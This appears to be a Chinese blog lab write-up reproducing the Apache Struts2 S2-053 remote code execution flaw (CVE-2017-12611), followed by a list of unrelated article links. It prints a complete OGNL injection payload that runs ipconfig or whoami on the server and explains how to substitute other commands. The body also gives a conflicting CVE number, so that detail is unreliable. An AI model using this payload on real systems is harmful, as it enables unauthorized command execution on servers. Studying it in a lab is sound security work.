【S2-053】Struts2远程命令执行漏洞(CVE-2017-12611)
来源:互联网 发布:xp有日历软件 编辑:程序博客网 时间:2024/05/18 01:55
实验环境
操作机:Windows 7
IP:172.16.11.2
实验工具
XAMPP: 一个功能强大的建站集成软件包
可以实现服务器的功能,但是只能自己访问
Firefox: 中文俗称‘火狐’,一个自由及开放源代码网页浏览器
漏洞介绍
继S2-052之后,Apache Struts 2再次被曝存在远程代码执行漏洞,漏洞编号S2-053,CVE编号CVE-2017-1000112。
当开发人员在Freemarker标签中使用错误的构造时,可能会导致远程代码执行漏洞。
影响范围
Struts 2.0.1 - Struts 2.3.33、Struts 2.5 - Struts 2.5.10
不受影响的版本
Struts 2.5.12、Struts 2.3.34
漏洞分析
当在Freemarker标签中使用表达式文本或强制表达式时,使用以下请求值可能会导致远程代码执行
<@s.hidden name="redirectUri" value=redirectUri /><@s.hidden name="redirectUri" value="${redirectUri}" />
这两种情况下,值属性都使用可写属性,都会受到Freemarker表达式影响。
步骤1:开启Tomcat服务器
步骤2:访问目标网站
网站的首页有一个输入框,下一步中,我们将在此框中输入我们的payload,发起攻击。
步骤3:发送需要执行的恶意代码
payload代码如下:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd='ipconfig'}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
特别注意,分析上述代码,可以发现其中我们要执行的任意代码位于以下两处。
(#cmd='ipconfig'){'cmd.exe','/c',#cmd='ipconfig'}
因此,如果我们要执行其他命令的话,一定要将这两处同时替换,否则命令将执行失败。
步骤4:漏洞验证
步骤3中,我们执行了命令ipconfig,点击提交按钮之后,可以在该页面看到网页返回结果如下:
将两处ipconfig修改为whoami,结果如下:
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd='whoami'}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
阅读全文
0 0
- 【S2-053】Struts2远程命令执行漏洞(CVE-2017-12611)
- 【S2-052】Struts2远程命令执行漏洞(CVE-2017-9805)
- 【高危漏洞预警】CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052)
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052) 分析报告
- 漏洞--Struts2远程命令执行S2-016
- Supervisord远程命令执行漏洞分析(CVE-2017-11610)
- Struts2远程命令执行漏洞 S2-045 源码分析
- 【漏洞公告】CVE-2017-11610:Supervisord 远程命令执行漏洞
- PKAV 发现 Struts2 最新远程命令执行漏洞(S2-037)
- Apache Struts2 曝任意代码执行漏洞 (S2-045,CVE-2017-5638)
- CVE-2017-8464远程命令执行漏洞(震网漏洞)复现
- 【预警通告】Apache Struts2(S2-053) 远程代码执行漏洞 威胁预警通告
- Tomcat远程代码执行漏洞(CVE-2017-12615)
- Tomcat 远程代码执行漏洞分析(CVE-2017-12615)
- Struts2远程命令执行漏洞
- 查找字符串中出现最多的字符和它出现的次数和查找某个字符在字符串中出现的次数
- LTE初学者必读:怎么才算LTE入了门?
- AIX 开机、启动oracle
- Java数据结构与算法解析(十二)——散列表
- 小结小结
- 【S2-053】Struts2远程命令执行漏洞(CVE-2017-12611)
- windows无法启动MySQL服务报错1067的解决方法
- 使用httpClient报错,The type org.apache.http.HttpResponse cannot be resolved
- java基础知识(整理)
- 通过json-lib实现Java对象和json字符串的相互转换
- 剑指offer:构建乘积数组
- 693. Binary Number with Alternating Bits
- HDU
- 国庆作业